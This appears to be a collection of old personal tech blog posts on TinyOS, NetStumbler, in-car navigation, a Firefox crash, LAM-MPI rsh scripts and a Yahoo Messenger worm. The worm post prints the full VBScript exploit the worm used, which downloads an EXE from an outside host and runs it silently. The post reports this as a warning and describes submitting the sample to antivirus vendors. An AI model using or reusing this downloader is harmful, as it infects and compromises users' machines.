calling AMSend.setSource( *amsg,  addr) may change the source address locally, but when you are sending the packet it will be reset to ActiveMessageAddressC$addr.

After almost two days of wondering why I couldn’t forge messages on a base station, a friend more familiar with TinyOS gave me this warning. I couldn’t find it on the web, so .. here it is!

One other note: if you are using a bash script to do the TOS_NODE_ID assignment for you, you should call tos-set-symbol with ActiveMessageAddressC__addr. Using $ would -obviously- cause bash to consider it a variable and replace it with empty string.

There have been a couple of problems about using the devices, which I will try to document here from now on. The first thing to note is about mini-Netstumbler. Netstumbler is “a tool for Windows that facilitates detection of Wireless LANs using the 802.11b, 802.11a and 802.11g WLAN standards”. In general Netstumbler needs a compatible device to be able to report noise levels. I was lucky to have an old SanDisk CompactFlash WiFi card which is able to report noise level.

I used a converter to connect the CompactFlash WiFi card to my notebook using the PCMCIA slot. Netstumbler under Windows XP was able to use this card without any other change. Below is a screenshot of Netstumbler.

Running miniNetstumbler needed one extra step. If you do not know this you may easily waste some hours. I had to to go to network settings, and add a wireless network setting with ESSID “ANY“, without encryption. Then connected to this “network” and ran miniNetstumbler. If you do not use the “ANY” network, you will see only statistics of the network you are connected to and not other networks.

I will try to post more about these later.

UPDATE: The list of compatible devices provided by NetStumbler is *not* updated. I got a Linksys WUSBGV4 through the link in www.stumbler.com/compat but it does not work with NetStumbler.

For this I had written a greasemonkey script at least a year and half ago, which surprisingly still works! It converts the IP format numbers in the page to links to www.dnsstuff.com IP information page. Only install greasemonkey using link #1, and then click on the link #2. Firefox will prompt to install this.

• Greasemonkey homepage
• My IPify greasemonkey script

Also, it might include information about road construction and traffic. Providing address and phone information about restaurants and hotels, as well as national parks and theme parks, close to current location is a plus.

Microsoft Streets & Trips

Microsoft Streets & Trips provides most of the above. I have been very happy about it in recent trips. It is really interesting that it really “worked” in real life situations.

• Since it uses around 1GB of your hard driv, you do not need to be connected to the internet to have the road maps.
• You can update the database online, with only a few clicks. The update includes road construction data.
• It can provide driving directions to destination from current location. If connected to GPS device, it can locate itself and update the data based on that.

• It can also give you accurate speed and direction, to avoid mistakes by driving in wrong direction.
• In case your GPS device does not provide you with coordinates and signal strength, the Microsoft Streets & Trips does it on screen.
• It can also read the directions loud so you don’t have to check the screen.
• You can do a quick search about different types of hotels, restaurant and other public places around you based on the distance. It simply draws a circle around you, and by clicking on each resort it gives phone number and address to that place. It is really impressing, since you have this information not using web, but only from your local database.
• You can plan for stops and specific route points. By specifying the start time and duration of stops, it can provide you an estimation of arrival and directions times.
• It can also predict total gas price, based on miles and gas price!

The problems with Microsoft Streets & Trips?

• It should be installed on a laptop, which is not very easy to take around in “your pocket”.
• Limitations of laptop battery apply. It means either you should have spare batteries, or you should be able to plug it in. This means converter to car plug or only using at office/home.
• It is not easy wise to drive and do the directions. If you are going to change route and find local place on the fly. There must be someone who does that, and you do the driving.

OnStar

The other approach that has cleared the disadvantages of the Microsoft Streets & Trips is OnStar service. This is really hardware dependent. It means you should already have the hardware installed on your vehicle. But, in return, it gives you more services, as the service operator can not only interact with yourself, but your car as well.

Once you have the hardware installed on your car and subscribed to OnStar, you can “call” the service provider by pressing only on button on your car’s rear mirror.

• The operator can ask you where you want to go. No typing, no need to somebody else to do the route planning, you just speak. This is very comfortable even for computer professionals, and people who are not very interested to operate a device by themselves.
• The operator can send the directions to your car’s audio system.
• Your car “calls” the service operator if there is an accident. They can contact authorities in turn. The comfort it gives is really reassuring. I would buy such service for my mother if it was available in Iran.
• You can ask the operator to open your car if you forget the keys inside. You should verify your identity by a pin, which can be read by someone at home to you. Another comforting service.
• Since you do not have the database on your car, it is not your responsibility to update it. By database, I mean the map and the road information database. The service provider updates it constantly and you simply use it.
• It uses voice recognition so that there is no need to key in anything. There are only three or four button involved, one of which is the main OnStar button, and the other is the red emergency button.

The disadvantages that OnStar has can be listed as including:

• The OnStar is currently only available to cars with such hardware installed in factory. General Motors is currently installing it for its vehicles.
• As any marketer would do, the subscription has different plans. The plans range from basic safety plan, to having all features plus being able to call using the same system.
• The “call” is done using a more powerful cell phone system. I can assume it may be out of coverage in some places. I am already sure, as it happened, that the operator could not send the directions data to the car. The car was out of the “extended coverage area” and so data could not be transferred. Probably there was not GPRS/Edge service in that area.
• Privacy is already a great concern. Nobody wants to be tracked and spied on using their own vehicle, by a subscription fee they themselves pay. I also find it really uncomfortable to have a microphone equipped remotely activated system around myself all the time.
• Insurance companies can use the data gathered by the car to avoid paying insurance expenses.

Links:

• OnStar on Wikipedia
• OnStar in HowStuffworks.com
• Court to FBI: No spying on in-car computers
  • The FBI and other police agencies may not eavesdrop on conversations inside automobiles equipped with OnStar or similar dashboard computing systems, a federal appeals court ruled.

It dies when a page has too many elements, like Wikipedia pages. Also, it does not like more than 1 or 2 YouTube videos in one page. It simply crashes, even in safe mode with no plug-in running. Sometimes it does not crash, but it sort of “stalls” while loading a tab, and you cannot click a link or change tabs with mouse. Honestly I am using Internet Explorer more and more each day. It works fine on all those pages and in same conditions.

Update: I did the following:

• un-installed Firefox
• removed any folder remaining from it
• restarted my laptop and
• then installed Firefox again

The first page I visited: http://en.wikipedia.org/wiki/Fibonacci_number and guess what? It crashed! It used to crash on the same page before too. Internet Explorer works fine in that page, and I am using IE for all my surfing now.

Update2: Pooya just directed me to the right IRC [ irc.mozilla.org #firefox], where we figured out what was the problem: a font! Yes, one font named Xerxes [see it here]  could not render CTRL+L character correctly. So, I removed the font and all the pain was gone. I posted it here as a comment to a bug report in 2006. Thanks Pooya!

Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan… Ve dau toi biet di ve dau? http://chendang.net—-/nguyen/

I don’t know what does it mean, and take no responsibility if it means something nasty. Also I’ve added some dashes to it. Anyway, the URL in this message points to a web page with only these sentences on it:

Sao chẳng có gì để xem thế này hả trời !!!!!
Emperor cũng làm được như mấy thằng kia thôi ^_^ keke !!!

Tất cả bây giờ chỉ là con số KHÔNG

It is a worm which spreads itself using Yahoo! messenger, and infects unpatched IE users upon access to the www.chendnag.net website. You can find more information on its symptoms and removal on F-secure’s page and McAfee’s page.

This is the VB script inside that page, an old IE exploit:

<script language="VBScript">
    on error resume next
    dl = "http://www.chendang.net----/nguyen/love..exe"
    Set df = document.createElement("object")
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    str="Microsoft.XMLHTTP"
    Set x = df.CreateObject(str,"")
    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&a2&a3&a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1
    str6="GET"
    x.Open str6, dl, False
    x.Send
    fname1="bl4ck.com"
    set F = df.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2)
    fname1= F.BuildPath(tmp,fname1)
    S.open
    S.write x.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname1,"","","open",0
</script>

The fact that I have received the PM means the worm does work. I will update here if I get more data, and know if it is an old one or is just gone wild. IE users, watch out!

P.S.: My antivirus did not detect the EXE file after downloading it. So: watch out ^ 2

UPDATE:

I checked the EXE file with www.virustotal.com and these are the results:

Apparently only Kaspersky and CAT-QuickHeal(?) detect it. According to Kaspersky’s viruslist.com, it was first detected on September 17 2006, yesterday.

UPDATE #2:

After posting this blog entry, I submitted the worm sample (that EXE file it uses) to Avast! and F-Secure antivirus companies. Some hours later, F-secure reached me through e-mail and confirmed the fact it was a recently released worm:

The file, love.exe (181 KB), is verified to be malicious. It will be detected as Trojan-Downloader.Win32.Agent.axn on our next database update.

Their weblog has a note about it and another similar one here.

Ahmad, A friend of mine, had independently sent the file to McAfee AVERT. Some time later their automated system responded that the file was not a known virus, so it was “being forwarded to an AVERT Researcher for further analysis”. Some hours later, the promised researcher contacted him. He informed him that it was a new worm:

A.V.E.R.T. Sample Analysis
Issue Number: 2529850
Virus Research Engineer: *********
Identified: W32/YahLover.worm

Also, a EXTRA.DAT file was attached to this email.Removal instruction based on this DAT file and McAfee antivirus software was contained in the email as well.

No news from Avert! has been heard yet Their latest update, today, does not detect the file to be infected.

When I tried to upload the file to a test Yahoo! mail message, their Symantec powered antivirus detected it as “W32.Yautoit”. Very good news for Yahoo! users.

And, by the way, this is the scan results of www.virustotal.com after 48 hours:

As you may note, F-prot has not included this in their recent update, but McAfee has.

BTW: I’m wondering that what would happen if the worm writer used this IE exploit instead of this old exploit. This new one works even in the fully patched windows machine.

You can find good tutorials here on their website, but even after reading these you may encounter some unexpected problems. How to solve theseproblems? Always Google them use Google search engine to find the solution.

As you know, if you know lam-mpi, you should “wipe” the mp-cloud clean if you want to stop it; or if you want to restart it. It uses RSH which is sometimes not very easy to deal with. I wrote some scripts to ease the start-up and cleaning process.

The following script first pings the broadcast address and gets currently available nodes. Then updates the lamhosts file. Next uses the updated lamhosts file to wipe the network clean, and run lam-mpi again. You can optionally instruct i not to update the lamhosts file.

This is the probe script:

#!/bin/bash
#clear
RES=`ping -b -c 10 192.168.0.255 | awk ‘{print $4}’ | grep 192 | uniq | awk -F: ‘{print $1}’ | sort -n | uniq `for i in $RES; do
echo $i;
done

This one is the lam-run script, which uses the previous one:

#!/bin/bash
OPTION=”-c”;
LAMHOSTS=”/home/user01/lamhosts”export LAMRSH=”rsh”

if [ -z $1 ]; then
echo “usage: $0 {-c:update config and restart | -d: restart only}”
exit
fi;

cat > $LAMHOSTS <
EoF

if [ $1 = $OPTION ]; then
echo -e “updating lamhosts:\n”;
for i in `/bin/bash /usr/local/bin/ada/probe`; do
echo -e “$i\t user01″ >> $LAMHOSTS;
done;
fi;

echo -e “\nStopping previsou run, if any\n”
/usr/bin/lamhalt
/usr/bin/wipe $LAMHOSTS
echo “DONE”
echo -e “\nrunning lamboot”
lamboot -d $LAMHOSTS
echo “DONE”

Also, I had a copier script to copy the necessary files to all clients using rcp:

#!/bin/bashif [ -z $1 ] ||[ -z $2 ]; then
echo -e “This script lets you copy a file to every client\n”;
echo -e “usage: $0 PATH-TO-LOCAL-FILE PATH-ON-EACH-CLIENT\n”
echo -e “example: $0 /tmp/file /home/user01/remote”
exit;
fi;

for i in `/usr/local/bin/ada/probe`; do
if [ $i = "192.168.0.100" ]; then
continue;
fi;
echo “copying file to $i”
/usr/bin/rcp $1 $i:$2;
done;

These are not appealing as scripts, I know. But were quiet handy and helped us alot. I had a directory for these in /usr/local/bin/ada/, and our clients had IP addresses in 192.168.0.100/24 range. These scripts are written based on these facts. It is easy to update them for your local network, if interested.

We had some other problems that I will add here whenever I remember them, but for the moment:

• poll: protocol failure in circuit setup

if you see

poll: protocol failure in circuit setup

when you try to run a simple rsh command like

rsh 192.168.0.101 -n -d -l user01 echo $SHELL

but you can login to the remote client using

rsh 192.168.0.101

try turning off you firewall on both sides first, and then try again. If this is the case, try something like this in your firewall rules:

-A INPUT -i eth0 -j ACCEPT

where eth0 is connected to your internal network of lam nodes.